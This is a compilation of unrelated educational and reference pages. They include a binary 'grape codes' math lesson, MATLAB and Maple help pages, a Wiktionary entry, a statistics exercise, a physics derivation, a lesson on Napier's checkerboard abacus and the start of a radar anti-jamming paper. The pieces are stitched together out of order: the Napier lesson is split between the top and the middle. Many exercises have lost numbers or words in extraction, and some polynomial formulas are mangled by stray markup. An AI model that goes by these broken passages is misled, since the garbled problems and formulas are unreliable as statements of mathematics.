Read on to see how. (The next few lessons have videos that explain how to use Napier’s checkerboard abacus too.)
Reference: Martin Gardner wrote about this work in his article “Napier’s Chessboard Abacus” which appears as chapter 8 in Knotted Doughnuts and Other Mathematical Entertainments (W.H.Freeman and Company, 1986) but not in terms of machines.
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Grape Codes - Global Math Week
The six videos sprinkled throughout this lesson explain and demonstrate the text that immediately follow them.
Watch this Video: Grape Codes 1
Consider a row of dishes extending as far to the left as ever one desires, each labeled with a power of two, in order, starting from the right. In the picture I have six dishes.
Question 1: If I had ten dishes what would be the label of the leftmost dish?
I put grapes in my dishes and when I do each grape has value given by the label of the dish in which it sits. For example, three grapes in the
8
dish and two in the
1
dish together have a total value of
8+8+8+1+1=26
. I will write
3|0|0|2
as a code for twenty-six. (I’ll ignore all leading zeros, that is, I won’t record the empty dishes to the left of the leftmost non-empty dish.) Other “grape codes” for twenty-six are possible.
Question 2: There happen to be a total of
114
different grape codes for the number twenty-six. That is, there are
114
different ways to represent the number twenty-six with grapes in dishes. The code
3|0|1|0
represents the number twenty-six with just four grapes. The code
6|0|2
uses eight grapes.
Of all 114 codes for twenty-six, is “
26
” (all twenty-six grapes in the
1
s bowl) the code that uses the most number of grapes? Is
1|1|0|1|0
the code that uses the least number of grapes? How do you know?
Are there two different codes for twenty-six that use the same count of grapes? Are there five different codes that use the same count of grapes?
Question 3: Here are the first few numbers that have codes using only two grapes.
2, 3, 4, 5, 6, 8, 9, 10, 12, 16, 17, 18, 20, 24, 32, 33, 34, 36, \ldots
What is the 50th number in this list?
Question 4: There are
6
different grape codes for the number six.
a) Show that there are also
6
grape codes for the number seven. Actually draw diagrams for each of the codes.
b) Is it true in general that the count of grape codes for an odd number is sure to equal the count of grape codes for the even number just before it?
THINKING OF A
1 \leftarrow 2
Question 5: A code for a number with at most one grape in each dish is called a binary code for that number. For instance,
1|1|0|1|0
is a binary code for the number twenty-six and
1|1|0
is a binary code for the number six.
a) Find a binary code for the number fifty.
b) Is every positive integer sure to have a binary code? (Read on!)
c) HARD CHALLENGE: Could a positive integer have two different binary codes?
In the story of Exploding Dots of the Global Math Project our row of dishes is simply a
1 \leftarrow 2
One puts in dots (or grapes) in the rightmost box and let them “explode” in the following way:
Whenever there are two dots in a box, any box, they explode and disappear – KAPOW! – to be replaced by one dot, one box to the left.
And, indeed, two dots in any one box have the same combined value as one dot just to their left.
In this way, placing a number of dots in the rightmost gives a representation of that number with at most one dot in each box. This proves that every positive integer has at least one binary code. For example, placing six dots into the machine eventually gives the binary code
1|1|0
6
Question 6: Which number has binary code
1|0|1|1
? Which number has binary code
1|0|1|1|0
and which has code
1|0|1|1|1
a) Find the binary codes of the first twenty positive integers. What do you notice about the codes of the even numbers? The codes of the odd numbers?
b) Anouk says she invented a divisibility rule for the number
4
A number is divisible
4
precisely when its binary code ends with two zeros.
Do you agree with her rule?
c) Is there a divisibility rule for the number based
3
on the binary code of numbers?
a) Aba has a curious technique for finding the binary code of a number. She writes the number at the right of a page and halves it, writing the answer one place to its left, ignoring any fractions if the number was odd. She then repeats this process until she gets the number
1
. Then she writes
1
under each odd number she sees and
0
under each even number. The result is the binary code of the original number!
Here’s her work for computing the binary code of
22
Why does her technique work?
(HINT: Put
22
1 \leftarrow 2
machine and watch what happens.)
b) FOLLOW-ON CHALLENGE:
Here’s a fun way to compute the product of two numbers, say,
22 \times 13
. Write the two numbers at the head of two columns, halve the left number (ignoring in fractions) and double the right number, and repeat until the number
1
appears. Then cross out all the rows that have an even number on the left, and add all the numbers on the right that survive. That sum is the answer to the original product!
(Hint:
22 = 16+4+2
208+52+26=16 \times 13 + 4 \times 13 + 2 \times 13
Question 9: Allistaire suggested that the binary code of
-1
\cdots 1|1|1|1|1
(that is, an infinitely long string of ones going infinitely far to the left). He argued that adding one more dot to a
1 \leftarrow 2
machine with a dot in each box produces, after explosions, an empty diagram: zero.
PATHS THROUGH GRAPE CODES
The following diagram shows all the choices one can make when performing explosions on
6
dots to lead to the binary code
1|1|0
6
. The diagram also shows all ways we can represent
6
with grapes!
a) Draw an analogous diagram for
12
dots placed in a
1 \leftarrow 2
machine. Show all the choices one can make for explosions and show that all paths lead to the same final binary code
1|1|0|0
b) There are
20
ways to represent the number
12
with grapes in dishes. Do all grape codes appear in your diagram? Do all paths of explosions lead to the same binary code of
1|1|0|0
c) In general, when one draws a diagram of all possible explosions for
N
1 \leftarrow 2
machine, is the diagram sure to contain all the possible codes of
N
with grapes? Do all paths lead to the same final binary code for
N
Question 11: Starting with
6
1 \leftarrow 2
machine, one can perform a sequence of five explosions and “unexplosions” that produces all
6
codes for
6
in terms of grapes.
It turns out that for any positive integer
N
there is a sequence of explosions and unexplosions one can perform—starting with
N
dots in the rightmost box of a
1 \leftarrow 2
machine—to pass through all the possible grape codes f
N
without repeating a code.
12
1 \leftarrow 2
machine, can you find a sequence of
19
explosions and unexplosions that takes one through all
20
possible codes for
12
in terms of grapes?
Counting Grape Codes
The table shows the number of different grape codes for the first few even numbers.
a) Fill in the three missing entries. Care to find a few more entries?
b) Is there a pattern to the sequence of numbers you are finding? (And can you be sure any patterns you see are genuine?)
Comment: The 2018 ARML Power Question also explores these questions about codes for numbers, but not in the language of grapes nor Exploding Dots. To see full solutions to all the work here and its connection to the 2018 ARML Power Question, check out Visual Graphs of Binary Representations with Exploding Dots.
11CAddition
11DSubtraction
11EMultiplication
|
Solid revolved element with geometry, inertia, and color - MATLAB - MathWorks América Latina
Revolved Solid
Revolution: Cross-section
Revolution: Extent of Revolution
Revolution: Revolution Angle
Solid revolved element with geometry, inertia, and color
The Revolved Solid block is a rotational sweep of a general cross section with geometry center coincident with the [0 0] coordinate on the cross-sectional XZ plane and revolution axis coincident with the reference frame z axis.
The Revolved Solid block adds to the attached frame a solid element with geometry, inertia, and color. The solid element can be a simple rigid body or part of a compound rigid body—a group of rigidly connected solids, often separated in space through rigid transformations. Combine Revolved Solid and other solid blocks with the Rigid Transform blocks to model a compound rigid body.
Revolved Solid Visualization Pane
Revolution: Cross-section — Cross-section coordinates specified on the XZ plane
[1 1; 1 -1; 2 -1; 2 1] m (default) | two-column matrix with units of length
Cross-sectional shape specified as an [x,z] coordinate matrix, with each row corresponding to a point on the cross-sectional profile. The coordinates specified must define a closed loop with no self-intersecting segments.
The coordinates must be arranged such that from one point to the next the solid region always lies to the left. The block revolves the cross-sectional shape specified about the reference frame z axis to obtain the revolved solid.
Revolution: Extent of Revolution — Selection of a full or partial revolution
Full (default) | Custom
Type of revolution sweep to use. Use the default setting of Full to revolve the cross-sectional shape by the maximum 360 degrees. Select Custom to revolve the cross-sectional shape by a lesser angle.
Revolution: Revolution Angle — Sweep angle of a partial revolution
Angle of the rotational sweep associated with the revolution.
\left(\begin{array}{ccc}{I}_{xx}& & \\ & {I}_{yy}& \\ & & {I}_{zz}\end{array}\right),
{I}_{xx}=\underset{m}{\int }\left({y}^{2}+{z}^{2}\right)\text{\hspace{0.17em}}dm
{I}_{yy}=\underset{m}{\int }\left({x}^{2}+{z}^{2}\right)\text{\hspace{0.17em}}dm
{I}_{zz}=\underset{m}{\int }\left({x}^{2}+{y}^{2}\right)\text{\hspace{0.17em}}dm
\left(\begin{array}{ccc}& {I}_{xy}& {I}_{zx}\\ {I}_{xy}& & {I}_{yz}\\ {I}_{zx}& {I}_{yz}& \end{array}\right),
{I}_{yz}=-\underset{m}{\int }yz\text{\hspace{0.17em}}dm
{I}_{zx}=-\underset{m}{\int }zx\text{\hspace{0.17em}}dm
{I}_{xy}=-\underset{m}{\int }xy\text{\hspace{0.17em}}dm
|
take away - Wiktionary
See also: takeaway and take-away
take away (third-person singular simple present takes away, present participle taking away, simple past took away, past participle taken away)
The new law will take away some important rights from immigrant residents.
The doctor gave me pills to take away the pain.
To remove a person, usually a family member or other close friend or acquaintance, by kidnapping or killing the person.
The mother of the murdered man spoke directly to the man who took away her son, then addressed the judge, whom she trusted would impose the maximum sentence.
But take nothing away from Arsenal, who were driven on by the brilliance of Van Persie and Fabregas and only prevented from being out of sight at half-time by the feats of Al Habsi.
(of a person) To make someone leave a place and go somewhere else. Usually not with the person's consent.
I'm taking you away to the country for a rest. It's for your own good!
(of a person) To prevent, or limit, someone from being somewhere, or from doing something.
Using the internet so much can take you away from your studies.
All senses are transitive and the object may appear before or after the particle. If the object is a pronoun, then it must be before the particle.
(To remove something, either material or abstract, so that a person no longer has it.): deprive, divest, dispossess, fortake, strip
to take away — see remove
to remove something and put it in a different place
Finnish: viedä (fi), ottaa pois, ottaa (fi)
Galician: sacar (gl), recoller (gl), retirar (gl)
Latin: auferō (la)
Portuguese: levar embora, retirar (pt), recolher (pt)
Sanskrit: हरति (harati)
to remove something, either material or abstract, so that a person no longer has it
Egyptian Arabic: ودى (wadda)
Finnish: ottaa (fi), viedä (fi), ottaa pois, riistää (fi)
Galician: sacar (gl), quitar (gl), toller (gl)
German: wegnehmen (de)
Ancient: ἀφαιρέω (aphairéō)
Italian: togliere (it)
Latin: adimō (la)
Old English: oftēon
Portuguese: retirar (pt), confiscar (pt), segurar (pt), ficar com, reter (pt)
Quechua: qichuy
Sanskrit: जिहर्ति (jiharti), हरति (harati)
Spanish: quitar (es)
Tocharian B: sāmp-
to subtract or diminish something
Finnish: ottaa (fi), ottaa pois, riistää (fi)
Galician: quitar (gl), sacar (gl)
Portuguese: tirar (pt), tirar fora, retirar (pt)
to leave a memory or impression in one's mind that you think about later
Portuguese: ficar com
Vietnamese: rút kinh nghiệm
to make someone leave a place and go somewhere else
Finnish: viedä pois, viedä (fi)
Galician: levar (gl), conducir (gl)
Portuguese: conduzir (pt), levar (pt), retirar (pt)
to prevent, or limit, someone from being somewhere, or from doing something
Finnish: pitää loitolla
Galician: afastar (gl), quitar (gl)
Portuguese: afastar (pt)
Dutch: (please verify) weghalen (nl), (please verify) wegnemen (nl), (please verify) afpakken (nl)
Irish: (please verify) bain de
Italian: (please verify) portare via, (please verify) asportare (it), (please verify) rubare (it), (please verify) togliere (it), (please verify) levare (it)
Norman: (please verify) remporter (Jersey)
Five take away two is three.
{\displaystyle (5-2=3)}
take away (plural take aways)
Actions of subtraction or subtracting exercises.
Retrieved from "https://en.wiktionary.org/w/index.php?title=take_away&oldid=64508942"
English phrasal verbs with particle (away)
|
UpperBoundOfRemainderTerm - Maple Help
Home : Support : Online Help : Education : Student Packages : Numerical Analysis : Computation : UpperBoundOfRemainderTerm
compute the upper bound of the remainder term at a given point
UpperBoundOfRemainderTerm(p)
UpperBoundOfRemainderTerm(p, pts)
(optional) numeric, list(numeric); a point or list of points at which the upper bound(s) of the remainder term are computed
The UpperBoundOfRemainderTerm command returns the value(s) of upper bound of the remainder term of the approximated polynomial at the specified point(s) pts or at the extrapolated point(s) from the POLYINTERP structure, depending on whether pts is specified or not.
The pts must be within the range of the approximating polynomial.
The upper bounds are returned in a list of the form: [[
{\mathrm{point}}_{i}
{\mathrm{upperbound}}_{i}
, [...], ...],
i
1..\mathrm{number}
\mathrm{of}
\mathrm{points}
In order for the upper bound to be computed, the POLYINTERP structure p must have an associated function, given by the PolynomialInterpolation command.
If the POLYINTERP structure was created with the CubicSpline command, the boundary conditions must be clamped.
A remainder term is sometimes called an error term.
\mathrm{with}\left(\mathrm{Student}[\mathrm{NumericalAnalysis}]\right):
\mathrm{xy}≔[[0,4.0],[0.5,0],[1.0,-2.0],[1.5,0],[2.0,1.0],[2.5,0],[3.0,-0.5]]
\textcolor[rgb]{0,0,1}{\mathrm{xy}}\textcolor[rgb]{0,0,1}{≔}[[\textcolor[rgb]{0,0,1}{0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{4.0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{0.5}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{1.0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{-2.0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{1.5}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{2.0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{1.0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{2.5}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}]\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{3.0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{-0.5}]]
\mathrm{p1}≔\mathrm{PolynomialInterpolation}\left(\mathrm{xy},\mathrm{function}={2}^{2-x}\mathrm{cos}\left(\mathrm{\pi }x\right),\mathrm{method}=\mathrm{lagrange},\mathrm{extrapolate}=[1.25],\mathrm{errorboundvar}='\mathrm{\xi }'\right):
\mathrm{UpperBoundOfRemainderTerm}\left(\mathrm{p1}\right)
[[\textcolor[rgb]{0,0,1}{1.25}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0.2717886368}]]
\mathrm{UpperBoundOfRemainderTerm}\left(\mathrm{p1},1.7\right)
[[\textcolor[rgb]{0,0,1}{1.7}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0.2519320807}]]
|
During a given week, the museum had attendance as shown in the table at right.
Numerically summarize the center and spread of attendance by finding the median and interquartile range (IQR).
The median is the middle number when the data is arranged numerically.
The interquartile range is the difference between the third quartile and the first quartile.
The museum management needs to tell the staff members their work schedules a week in advance. The museum wants to have approximately one staff member for every
150
For the largest number of visitors (940), there needs to be at least 7 staff members. With any less, the museum could be understaffed.
Why is a scatterplot not an appropriate display of this data?
Think of times when scatterplots are appropriate. What do they have in common that this situation is missing?
1
870
2
940
3
731
4
400
5
861
6
680
7
593
Use the eTool below to make a box plot.
|
Filter Visualization Tool - MATLAB - MathWorks France
Open the FVTool
Magnitude Response of Elliptic Filter
Magnitude and Phase Response of Bandpass FIR Filter
FVTool Figure Handle Commands
Controlling FVTool from the GUI
Linking to Filter Designer
Controls are on the toolstrip
Filter Visualization Tool is an interactive app that enables you to display and analyze the responses, coefficients, and other information of a filter. You can also synchronize FVTool and Filter Designer to immediately visualize any changes made to a filter design.
In the app, you can view:
For more information, see Analysis Types.
If you have installed the DSP System Toolbox™, FVTool can also visualize the frequency response of a filter System object™. If you need to filter streaming data in real time, using System objects is the recommended approach. For more information, see fvtool (DSP System Toolbox).
FVTool can be opened programmatically using one of the methods described in Programmatic Use.
Consider a 6th-order elliptic filter with a passband ripple of 3 dB, a stopband attenuation of 50 dB, a sample rate of 1 kHz, and a normalized passband edge of 300 Hz. Display the magnitude response of the filter.
Design a 50th-order bandpass FIR filter with stopband frequencies of 150 Hz and 350 Hz and passband frequencies of 200 Hz and 300 Hz. The sample rate is 1000 Hz. Visualize the magnitude and phase response of the filter.
bpFilt = designfilt("bandpassfir",FilterOrder=N, ...
StopbandFrequency1=Fstop1,StopbandFrequency2=Fstop2,...
PassbandFrequency1=Fpass1,PassbandFrequency2=Fpass2,...
fvtool(bpFilt,Analysis="freq")
Select the Analysis Parameters button in the toolstrip. An Analysis Parameters window appears that shows the parameters associated with the plot.
Display the magnitude response of a 6th-order elliptic filter. Specify a passband ripple of 3 dB, a stopband attenuation of 50 dB, a sample rate of 1 kHz, and a normalized passband edge of 300 Hz. Obtain the handle for FVTool.
Use the FVTool handle to display the phase response of the filter.
h.Analysis = "phase"
Name: 'Figure 1: Phase Response'
Position: [1 1 1024 657]
Turn on the plot legend and add text.
legend(h,"Phase plot")
Specify a sample rate of 1 kHz. Display the two-sided centered response.
h.FrequencyRange = "[-Fs/2, Fs/2)"
Name: 'Phase Response'
View the all the properties of the plot. The properties specific to FVTool are at the end of the list.
NumberTitle: off
PaperPosition: [-0.8700 2.2150 10.2400 6.5700]
ResizeFcn: @(~,~)fix_listbox_position(this,hFVT)
WindowStyle: 'docked'
Children: [6x1 Graphics]
fvtool(b,a) opens FVTool and displays the magnitude response of the digital filter defined with numerator b and denominator a. Specify b and a coefficients in ascending order of power z-1.
fvtool(sos) opens FVTool and displays the magnitude response of the digital filter defined by the L-by-6 matrix of second order sections:
\text{sos}=\left[\begin{array}{cccccc}{b}_{01}& {b}_{11}& {b}_{21}& 1& {a}_{11}& {a}_{21}\\ {b}_{02}& {b}_{12}& {b}_{22}& 1& {a}_{12}& {a}_{22}\\ ⋮& ⋮& ⋮& ⋮& ⋮& ⋮\\ {b}_{0L}& {b}_{1L}& {b}_{2L}& 1& {a}_{1L}& {a}_{2L}\end{array}\right]
The rows of sos contain the numerator and denominator coefficients bik and aik of the cascade of second-order sections of H(z):
H\left(z\right)=g\prod _{k=1}^{L}{H}_{k}\left(z\right)=g\prod _{k=1}^{L}\frac{{b}_{0k}+{b}_{1k}{z}^{-1}+{b}_{2k}{z}^{-2}}{1+{a}_{1k}{z}^{-1}+{a}_{2k}{z}^{-2}}.
The number of sections L must be greater than or equal to 2. If the number of sections is less than 2, fvtool considers the input to be a numerator vector.
fvtool(d) opens FVTool and displays the magnitude response of a digital filter d. Use designfilt to generate d based on frequency-response specifications.
fvtool(b1,a1,b2,a2,...,bN,aN) opens FVTool and displays the magnitude responses of multiple filters defined with numerators b1, …, bN and denominators a1, ..., aN.
fvtool(sos1,sos2,...,sosN) opens FVTool and displays the magnitude responses of multiple filters defined with second order section matrices sos1, sos2, ..., sosN.
fvtool(Hd) opens FVTool and displays the magnitude responses for the dfilt filter object Hd or the array of dfilt filter objects.
fvtool(Hd1,Hd2,...,HdN) opens FVTool and displays the magnitude responses of the filters in the dfilt objects Hd1, Hd2, ..., HdN.
h = fvtool(___) returns a figure handle h. You can use this handle to interact with FVTool from the command line. For more information, see Controlling FVTool from the MATLAB Command Line.
Display and analyze responses of one or multiple filters using controls on the toolstrip.
By default, the app displays the magnitude response of a filter. To change the display, select an option from the Analysis list in the Analysis section of the toolstrip.
To overlay a second response on the plot, select an available response from the Overlay Analysis list in the Analysis section of the toolstrip. The app adds a second y-axis to the right side of the response plot. The Analysis Parameters dialog box shows parameters for the x-axis and both y-axes.
To adjust view settings, analysis parameters, or specify sampling frequency, use the corresponding buttons on the toolstrip. You can also toggle the plot legend and grid.
To edit a plot, first click Send to Figure. In the new figure window, use the plot editing toolbar.
FVTool has these analysis types:
To see the zero-phase response, right-click the y-axis label on the plot and select Zero-phase from the context menu.
For more information, see freqz and zerophase.
For more information, see phasez.
Magnitude response and phase response
The responses are superimposed on one another.
For more information, see freqz.
Group delay is the average delay of the filter as a function of frequency.
For more information, see grpdelay.
Phase delay is the time delay the filter imposes on each component of the input signal.
For more information, see phasedelay.
The impulse response is the response of the filter to an impulse input.
For more information, see impz.
The step response is the response of the filter to a step input.
For more information, see stepz.
The pole-zero plot shows the pole and zero locations of the filter on the z-plane.
For more information, see zplane.
The coefficients depend on the filter structure (direct-form or lattice).
The app displays filter coefficients in a text box. For SOS filters, the app displays each section as a separate filter.
The filter information includes the structure, phase, stability, and implementation cost of the filter.
When the Filter Designer app displays the analysis for a filter, in the app, select View > Filter Visualization Tool or the Full View Analysis toolbar button to open FVTool for the filter. In FVTool, use the Link button to link to Filter Designer. FVTool updates the current display with any changes made to the filter in Filter Designer. By default, the app retains the current filter and adds the new filter to the display. To remove the current filter and insert the new filter, select the Replace check box in the Filter Designer section of the toolstrip.
R2022a: Controls are on the toolstrip
The behavior of fvtool has changed. In previous releases, the app had plot editing and analysis toolbars. Starting this release, access filter visualization controls on the toolstrip. To edit a plot, first export the plot to a figure and then use the figure controls.
|
obtain an expression for the energy density of an electromagnetic wave Inthe electromagnetic wave show that the average energy - Physics - Electromagnetic Waves - 11644213 | Meritnation.com
The energy in an electromagnetic wave is tied up in the electric and magnetic fields. In general, the energy per unit volume in an electric field is given by:
{U}_{E}=\frac{1}{2}{\epsilon }_{0}{E}^{2}
In a magnetic field, the energy per unit volume is:
{U}_{B}=\frac{1}{2{\mu }_{0}}{B}^{2}
An electromagnetic wave has both electric and magnetic fields, so the total energy density associated with an electromagnetic wave is:
\frac{1}{2}{\epsilon }_{0}{E}^{2}+\frac{1}{2{\mu }_{0}}{B}^{2}
It turns out that for an electromagnetic wave, the energy associated with the electric field is equal to the energy associated with the magnetic field, so the energy density can be written in terms of just one or the other:
U={\epsilon }_{0}{E}^{2}=\frac{1}{{\mu }_{0}}{B}^{2}
{U}_{E}=\frac{1}{2}{\epsilon }_{0}{E}^{2}
{U}_{B}=\frac{1}{2{\mu }_{0}}{B}^{2}
E=cB\phantom{\rule{0ex}{0ex}}E=\frac{1}{\sqrt{{\epsilon }_{0}{\mu }_{0}}}B\phantom{\rule{0ex}{0ex}}{E}^{2}=\frac{1}{{\epsilon }_{0}{\mu }_{0}}{B}^{2}\phantom{\rule{0ex}{0ex}}\frac{1}{2}{\epsilon }_{0}{E}^{2}=\frac{{B}^{2}}{2{\mu }_{0}}\phantom{\rule{0ex}{0ex}}
Hence the two energies are equal
|
verify(expr1, expr2, Vector[o])
verify(expr1, expr2, 'Vector[o]'(ver))
Vector orientation, either row or column
The verify(expr1, expr2, Vector), verify(expr1, expr2, 'Vector'(ver)), verify(expr1, expr2, Vector[o]) and verify(expr1, expr2, 'Vector[o]'(ver)) calling sequences return true if it can be determined that the two Vectors satisfy a relation elementwise, either by testing with equality or using the verification ver. If an orientation o is given, then the two Vectors must also have the given orientation.
Since Vector is a Maple function, it must be enclosed in single quotes to prevent evaluation.
The special verifications %NULL, seq, and &, can be used to verify an expression sequence in a Vector. See verify/exprseq.
\mathrm{u1}≔\mathrm{Vector}\left(2,[1,x\left(1-x\right)]\right)
\textcolor[rgb]{0,0,1}{\mathrm{u1}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{c}\textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{x}\right)\end{array}]
\mathrm{u2}≔\mathrm{Vector}\left(2,[1,x-{x}^{2}]\right)
\textcolor[rgb]{0,0,1}{\mathrm{u2}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{c}\textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{-}{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{x}\end{array}]
\mathrm{verify}\left(\mathrm{u1},\mathrm{u2},'\mathrm{Vector}'\right)
\textcolor[rgb]{0,0,1}{\mathrm{false}}
\mathrm{verify}\left(\mathrm{u1},\mathrm{u2},'\mathrm{Vector}\left(\mathrm{expand}\right)'\right)
\textcolor[rgb]{0,0,1}{\mathrm{true}}
\mathrm{v1}≔\mathrm{Vector}\left(2,[0.3222,0.5001]\right)
\textcolor[rgb]{0,0,1}{\mathrm{v1}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{c}\textcolor[rgb]{0,0,1}{0.3222}\\ \textcolor[rgb]{0,0,1}{0.5001}\end{array}]
\mathrm{v2}≔\mathrm{Vector}\left(2,[0.3223,0.5000]\right)
\textcolor[rgb]{0,0,1}{\mathrm{v2}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{c}\textcolor[rgb]{0,0,1}{0.3223}\\ \textcolor[rgb]{0,0,1}{0.5000}\end{array}]
\mathrm{verify}\left(\mathrm{v1},\mathrm{v2},'\mathrm{Vector}'\right)
\textcolor[rgb]{0,0,1}{\mathrm{false}}
\mathrm{verify}\left(\mathrm{v1},\mathrm{v2},'\mathrm{Vector}\left(\mathrm{float}\left({10}^{6}\right)\right)'\right)
\textcolor[rgb]{0,0,1}{\mathrm{true}}
The verify/Vector command was updated in Maple 2015.
|
This is where Napier’s brilliance starts to shine.
Napier suggested not only labeling each column with a power two, but to also label each row this way too. A dot in any box is then given the value of the product of its column and row numbers. For example, one dot in this picture has value
64 \times 32\ = 2048
and the other has value
4 \times 4 = 16
, and together they represent the number
2048+16=2064
. One can thus represent very big numbers on this two-dimensional array.
Moreover, not only does each row operate as its own
1 \leftarrow 2
machine, each column now does too!
Any two dots in a cell can be erased—they explode, “kaboom”—and be replaced by one dot either one cell to their left or by one dot one cell above them, your choice!
One can also unexplode dots.
Question: Explain why dots in the light blue cells will have the same value. Explain why dots in the light purple cells will have the same value.
Napier noted too that you can slide a dot anywhere on the southwest diagonal on which it sits and not change its value and hence not the total value of several dots on in the grid either.
By placing dots in the grid we can represent large numbers, and by performing slides, explosions, and unexplosions we can change the representations of those numbers in lots of different—but always equivalent—ways. And with this power, Napier realized we can perform some sophisticated arithmetic!
Question: The dots in each each of these two boards have total value 80. (Check this!)
Can you perform some slides and/or explosions and/or unexplosions to convert the picture of dots on the left to the picture of dots on the right?
Can you continue changing the positions of dots with legitimate moves to create a representation of the number with dots only in the rightmost column, at most one dot per cell? How about with all dots on the bottom row with at most one dot per cell?
19
1 \leftarrow 2
10011
. We can display this number in the bottom row of the checkerboard as
16 \times 1 + 2 \times 1 + 1 \times 1
. (Since the bottom row of the checkerboard is its own
1 \leftarrow 2
machine, one could place
19
dots into the right corner box and perform explosions in just the bottom row to get this binary code.)
Here’s a picture of one copy of
19
plus four copies of
19
, that is, here is a picture of
19 \times 5
Slide each dot diagonally downward to the bottom row: this does not change the total value of the dots in the picture. The answer
95
appears. We’ve just conducted a multiplication computation!
More complicated multiplication problems will likely require using a larger grid and performing some explosions. For example, here is a picture of
51 \times 42
. (We see
51
32 + 16 +2+1
2
copies of this plus
4
32
copies of this.)
Sliding gives this picture
and the bottom row explodes to reveal the answer
2142
Question: a) What product is represented in this checkerboard? What is the answer to the product?
8 \times 8
10 \times 10
15 \times 15
with a checkerboard.
c) Compute
37 \times 18
d) Keep computing different products via Napier’s method. Have some fun!
Question: Let’s do the multiplication backwards! Let’s see if we can compute
108 \div 9
65 \div 5
on the checkerboard.
a) Here’s the result of multiplying some number by
9
with Napier’s checkerboard. What number was multiplied by
9
? Can you see the answer by sliding dots to recreate the original multiplication problem?
b) The result of multiplying some number by is
5
65
shown. Can you recreate the original multiplication problem by unexploding and sliding dots?
Question: One can do polynomial multiplication with the checkerboard too! (One needs two different colored counters: one for dots and one for antidots.) Do you see how this picture represents
\left(x<sup>{2}-2x+1\right)\left(x</sup>{3}-2x+2\right)
? Do you see how to get the answer
x<sup>{5}-2x</sup>{4}-x<sup>{3}+6x</sup>{2}-6x+2
from it?
Question: How would you display the product
\left(1-x\right) \left(1+x+x<sup>2+x</sup>3+x^4+\cdots\right)
? What answer does it give?
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Comparison of the Radar Receiver Anti-Jamming Circuits Performance
Comparison of the Radar Receiver Anti-Jamming Circuits Performance ()
Shuhua Li, Baopeng Li
Qingdao Branch of Naval Aeronautical Engineering Institute, Qingdao, China.
This paper researches on some key technologies of anti-jamming of an air-borne radar receiver, the automatic testing of AGC, IAGC and multi-filtering under one million noisy pulses by the computer simulation system. The system tests the width of the jamming pulse whose width is 100% bigger, 60% bigger and 100% smaller than the Radar signal’s respectively and show the SNR curve.
Multi-Filtering, Anti-Jamming Circuits, SNR Curve
Li, S. and Li, B. (2017) Comparison of the Radar Receiver Anti-Jamming Circuits Performance. World Journal of Engineering and Technology, 5, 152-158. doi: 10.4236/wjet.2017.54B016.
The use of radar in the War was quickly followed by the development of anti-radar equipments in order to reduce their performance. Radar jamming and anti-jamming are two opposing techniques. The application of a new radar technology will lead to a new jamming technology, and new interference will inevitably lead to new radar anti-jamming measures. This cycle has led to the development of radar jamming and anti-jamming techniques [1].
Special focus is given to the radar receiver in the paper. Investigations of the effects of anti-jamming circuits led to the establishment of design practices which resulted in appreciable reduction of the general vulnerability of equipments; details are given of these practices. The experiments deal with wide & narrow, adjacent noise automatic gain control, IAGC, multilevel filter anti-jamming measures against 1 million pulses per second signal interference conditions. Comparison of these measures is performed respectively before and after the pulse interference signal was added, when the jamming signal’s width is more than 100%/60% greater than 100% and less than the pulse width of the radar signal and the condition of three groups of quantitative analysis data are given; Then the quantitative analysis of the receiver filter bandwidth of noise energy before and after filtering than changes in 0.6 - 0.8, which provides the quantitative basis for the receiver filter bandwidth selection.
2. Experimental System Design and Result Analysis
2.1. System Overall Design
In view of the different systems, different uses of the internal processing mechanism of radar vary greatly [2]. The research focuses on the research of phased array radar system from two aspects of theory and experiment, analysis and Simulation of the various methods of anti jamming effect. The experimental system is centered on signals. The interference signal generating module mainly produces all kinds of jamming signal simulation module is responsible for all kinds of interference signals may be mixed with the complex electromagnetic environment signals such as the receiver input signal; analog signal processing module is divided into functional modules of small analog receiver processing function, signal processing, intermediate code can be embedded to compare the anti-jamming, integration and control simulation experiment; the main control module is responsible for the scheduling and radar system; output statistics module is responsible for the output of the statistical and graphical display.
2.2. Principle and Modeling of Radar Signal Processing
Pulse Doppler processing mainly refers to the processing of high repetition frequency signals, including filtering, Doppler filtering, detection, 2D CFAR [3].
Radar transmit signals can be described as
{S}_{t}\left(t\right)=\sqrt{\frac{{P}_{t}{L}_{t}}{4\text{π}}}{g}_{vt}\left(\theta \right)\mathrm{exp}\left(j{\omega }_{c}t\right)v\left(t\right)
{\omega }_{c}
the carrier frequency,
{P}_{t}
is the peak power of the transmitter, the transmit loss is
{L}_{t}
{g}_{\nu t}\left(\theta \right)
is the transmit antenna pattern; the complex modulation function
\nu \left(t\right)
is a coherent pulse train consisting of a
{N}_{p}
rectangular pulse with a width
{T}_{r}
